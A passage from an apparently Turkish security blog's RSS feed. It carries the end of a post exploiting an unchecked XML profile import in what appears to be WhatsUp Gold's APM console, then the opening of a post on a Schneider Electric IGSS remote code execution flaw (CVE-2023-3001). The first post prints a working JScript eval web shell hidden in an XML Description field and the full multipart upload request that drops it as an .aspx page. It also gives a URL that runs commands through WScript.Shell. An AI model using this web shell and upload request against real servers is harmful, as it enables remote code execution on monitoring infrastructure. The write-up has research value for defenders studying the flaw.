&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (ex.InnerException != &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt; &amp;amp;&amp;amp; !&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;.IsNullOrWhiteSpace(ex.InnerException.Message))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						text = text + Environment.NewLine + ex.InnerException.Message;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;base&lt;/span&gt;.Content(text);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			actionResult = &lt;span style=&#34;color:#66d9ef&#34;&gt;base&lt;/span&gt;.Content(&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;.Empty);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#66d9ef&#34;&gt;catch&lt;/span&gt; (Exception ex2)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			actionResult = &lt;span style=&#34;color:#66d9ef&#34;&gt;base&lt;/span&gt;.Content(ex2.Message);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; actionResult;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;CommunityController&amp;rsquo;daki &lt;code&gt;Import&lt;/code&gt; methoduna bakinca bizden post &lt;code&gt;multipart/form-data&lt;/code&gt; ile bir ContentType &lt;code&gt;text/xml&lt;/code&gt; olan bir dosya bekliyor ve ardindan &lt;code&gt;ImportProfileFromDisk&lt;/code&gt; methoduna gonderiyor orada da &lt;code&gt;(string.Compare(httpPostedFileBase.FileName, &amp;quot;PublicKey.xml&amp;quot;, true) != 0)&lt;/code&gt; kismi bizim gonderdigimiz dosyanin isminin PublicKey.xml olup olmadigini kontrol ediyor eger dosya ismi PublicKey.xml ise 0 degeri dondurur ama degilse bir alttaki kosula gecer o kosul ise gonderdigimiz dosyanin uzantisini vs kontrol etmeden direk veriyi kayit eder. Burada veriyi gonderirken yapacagimiz tek sey gonderecegimiz xml verisinin APM yapisina uygun olmasi gerekiyor yanlis hatirlamiyorsam &lt;code&gt;&#39;&lt;/code&gt; gibi karaterlere kiziyordu.&lt;/p&gt;
&lt;p&gt;Buraya direk aspx shell yukleyemeyiz dedigim gibi xml yapisi APM&amp;rsquo;ye uygun olmali bu yuzden APM&amp;rsquo;ye uygun ayni zamanda xml yapisindaki CDATA (Character Data) icerisinde kullanacagiz.
&lt;code&gt;&amp;lt;script language=&amp;quot;JScript&amp;quot; runat=&amp;quot;server&amp;quot;&amp;gt;function Page_Load(){eval(Request[&amp;quot;p&amp;quot;],&amp;quot;unsafe&amp;quot;);}&amp;lt;/script&amp;gt;&lt;/code&gt; Request&amp;rsquo;den p parametresini bekliyor ve cok yaygin olarak bilinen &lt;code&gt;eval&lt;/code&gt; ile calistiriyor ornek olarak &lt;code&gt;?p=Response.Write(&#39;test123&#39;)&lt;/code&gt; ile response&amp;rsquo;a test123 yazacaktir.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /NmConsole/Apm/Community/Import HTTP/&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: &lt;span style=&#34;color:#ae81ff&#34;&gt;192.168&lt;/span&gt;.&lt;span style=&#34;color:#ae81ff&#34;&gt;110.55&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;4431&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Length: &lt;span style=&#34;color:#ae81ff&#34;&gt;3503&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cache-Control: max-age=&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Ch-Ua: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Chromium&amp;#34;&lt;/span&gt;;v=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;123&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Not:A-Brand&amp;#34;&lt;/span&gt;;v=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;8&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Ch-Ua-Mobile: ?&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Ch-Ua-Platform: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Windows&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Upgrade-Insecure-Requests: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Origin: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycTcTButXxqGsU5GA
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User-Agent: Mozilla/&lt;span style=&#34;color:#ae81ff&#34;&gt;5.0&lt;/span&gt; (Windows NT &lt;span style=&#34;color:#ae81ff&#34;&gt;10.0&lt;/span&gt;; Win64; x64) AppleWebKit/&lt;span style=&#34;color:#ae81ff&#34;&gt;537.36&lt;/span&gt; (KHTML, like Gecko) Chrome/&lt;span style=&#34;color:#ae81ff&#34;&gt;123.0&lt;/span&gt;.&lt;span style=&#34;color:#ae81ff&#34;&gt;6312.122&lt;/span&gt; Safari/&lt;span style=&#34;color:#ae81ff&#34;&gt;537.36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept: text/html,application/xhtml+xml,application/xml
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-Site: cross-site
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-Mode: navigate
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-User: ?&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-Dest: document
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept-Encoding: gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept-Language: en-US,en;q=&lt;span style=&#34;color:#ae81ff&#34;&gt;0.9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Priority: u=&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, i
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;------WebKitFormBoundarycTcTButXxqGsU5GA
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Disposition: form-data; name=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;importFiles&amp;#34;&lt;/span&gt;; filename=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;6.aspx&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: text/xml
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;?xml version=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;EntityAPMApplication xmlns:xsi=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://www.w3.org/2001/XMLSchema-instance&amp;#34;&lt;/span&gt; xmlns:xsd=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://www.w3.org/2001/XMLSchema&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;Name&amp;gt;Active Directory Controller (&lt;span style=&#34;color:#ae81ff&#34;&gt;2003&lt;/span&gt;)&amp;lt;/Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;Description&amp;gt;&amp;lt;![CDATA[&amp;lt;script language=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;JScript&amp;#34;&lt;/span&gt; runat=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;server&amp;#34;&lt;/span&gt;&amp;gt;function Page_Load(){eval(Request[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;p&amp;#34;&lt;/span&gt;],&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;unsafe&amp;#34;&lt;/span&gt;);}&amp;lt;/script&amp;gt;]]&amp;gt;&amp;lt;/Description&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;ApplicationID&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&amp;lt;/ApplicationID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;ApplicationType&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;Name&amp;gt;Microsoft Active Directory&amp;lt;/Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;Description&amp;gt;Microsoft Active Directory&amp;lt;/Description&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;ApplicationTypeID&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1034&lt;/span&gt;&amp;lt;/ApplicationTypeID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;IconPath&amp;gt;microsoftad.png&amp;lt;/IconPath&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;/ApplicationType&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;ActionPolicyDefinitionID xsi:nil=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;Version&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1.0&lt;/span&gt;&amp;lt;/Version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;RequiredAPMVersion&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1.0&lt;/span&gt;&amp;lt;/RequiredAPMVersion&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;UserDefined&amp;gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;&amp;lt;/UserDefined&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;IsRemoved&amp;gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;&amp;lt;/IsRemoved&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;UpgradeGUID&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;9e8&lt;/span&gt;c0fb1-d89c-&lt;span style=&#34;color:#ae81ff&#34;&gt;42f9&lt;/span&gt;-bc0f-deee8314d713&amp;lt;/UpgradeGUID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;StoredProfileID&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&amp;lt;/StoredProfileID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;Components&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;EntityAPMComponent&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;Name&amp;gt;LDAP Bind Rate&amp;lt;/Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;Description&amp;gt;Monitors the number of LDAP binds per second.&amp;lt;/Description&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;ComponentID&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;&amp;lt;/ComponentID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;ApplicationID&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&amp;lt;/ApplicationID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;ComponentType&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;Name&amp;gt;WMI (Raw)&amp;lt;/Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;Description&amp;gt;WMI (Raw)&amp;lt;/Description&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;ApplicationTypeID&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;513&lt;/span&gt;&amp;lt;/ApplicationTypeID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;IconPath&amp;gt;WMI.svg&amp;lt;/IconPath&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;/ComponentType&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;IsRemoved&amp;gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;&amp;lt;/IsRemoved&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;Critical&amp;gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;&amp;lt;/Critical&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;PollFrequencyMin&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&amp;lt;/PollFrequencyMin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;Category&amp;gt;Wmi&amp;lt;/Category&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;GUID&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3392&lt;/span&gt;abfe-cc36-&lt;span style=&#34;color:#ae81ff&#34;&gt;47e1&lt;/span&gt;-&lt;span style=&#34;color:#ae81ff&#34;&gt;9&lt;/span&gt;b53-bd1d2b9e060e&amp;lt;/GUID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;RequiredCredentialType&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&amp;lt;/RequiredCredentialType&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;Discoverable&amp;gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;&amp;lt;/Discoverable&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;UpgradeGUID&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;41371586&lt;/span&gt;-&lt;span style=&#34;color:#ae81ff&#34;&gt;6866&lt;/span&gt;-&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;b4d-bca5-e90701775303&amp;lt;/UpgradeGUID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;PerformanceThresholdConfig&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;WarningValue&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&amp;lt;/WarningValue&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;WarningValueUnitOfMeasure&amp;gt;NONE&amp;lt;/WarningValueUnitOfMeasure&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;WarningComparator&amp;gt;LESS_THAN&amp;lt;/WarningComparator&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;WarningDurationEvalPeriod&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;&amp;lt;/WarningDurationEvalPeriod&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;WarningDurationUnit&amp;gt;MINUTES&amp;lt;/WarningDurationUnit&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;DownValue&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&amp;lt;/DownValue&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;DownValueUnitOfMeasure&amp;gt;NONE&amp;lt;/DownValueUnitOfMeasure&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;DownComparator&amp;gt;LESS_THAN&amp;lt;/DownComparator&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;DownDurationEvalPeriod&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&amp;lt;/DownDurationEvalPeriod&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;DownDurationUnit&amp;gt;MINUTES&amp;lt;/DownDurationUnit&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;/PerformanceThresholdConfig&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;ConfigurationData&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Name&amp;gt;WMI:Counter-Displayname&amp;lt;/Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Value&amp;gt;NTDS &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\&lt;/span&gt; LDAP Successful Binds/sec&amp;lt;/Value&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;/EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Name&amp;gt;WMI:Counter-InstanceName&amp;lt;/Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Value&amp;gt;NULL&amp;lt;/Value&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;/EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Name&amp;gt;asdWMI:Counter-PropertyName&amp;lt;/Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Value&amp;gt;LDAPSuccessfulBindsPersec&amp;lt;/Value&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;/EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Name&amp;gt;WMI:Counter-RelativePath&amp;lt;/Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Value&amp;gt;Win32_PerfRawData_NTDS_NTDS&amp;lt;/Value&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;/EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Name&amp;gt;WMI:Counter-Timeout&amp;lt;/Name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;Value&amp;gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2000&lt;/span&gt;&amp;lt;/Value&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;/EntityNameValuePairs&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;/ConfigurationData&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/EntityAPMComponent&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;/Components&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;Groups /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;Attributes /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/EntityAPMApplication&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;------WebKitFormBoundarycTcTButXxqGsU5GA--
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;exploit7-bolumu&#34;&gt;Exploit7 Bolumu&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;https://192.168.110.55:4431/NmConsole/Content/Apm/Import/6.aspx?p=new%20ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Exec(&amp;quot;calc.exe&amp;quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/rce.gif&#34; alt=&#34;CALC&#34;&gt;&lt;/p&gt;
&lt;p&gt;Devami gelecektir&amp;hellip;
&lt;img src=&#34;https://exploit7.tr/resource/last.png&#34; alt=&#34;last&#34;&gt;&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Schneider Electric Remote Code Execution</title>
      <link>https://exploit7.tr/posts/schneider-electric-rce/</link>
      <pubDate>Thu, 03 Oct 2024 11:00:00 +0400</pubDate>
      
      <guid>https://exploit7.tr/posts/schneider-electric-rce/</guid>
      <description>&lt;h2 id=&#34;schneider-electric-remote-code-execution-cve-2023-3001&#34;&gt;Schneider Electric Remote Code Execution (CVE-2023-3001)&lt;/h2&gt;
&lt;p&gt;Schneider Electric&amp;rsquo;in IGSS (Intelligent Graphical Scada System) yazilimi, endustriyel otomasyon ve kontrol sistemleri icin kullanilan bir SCADA (Supervisory Control and Data Acquisition) platformudur.&lt;/p&gt;
&lt;h3 id=&#34;schneider-electric-dashboard&#34;&gt;Schneider Electric Dashboard&lt;/h3&gt;
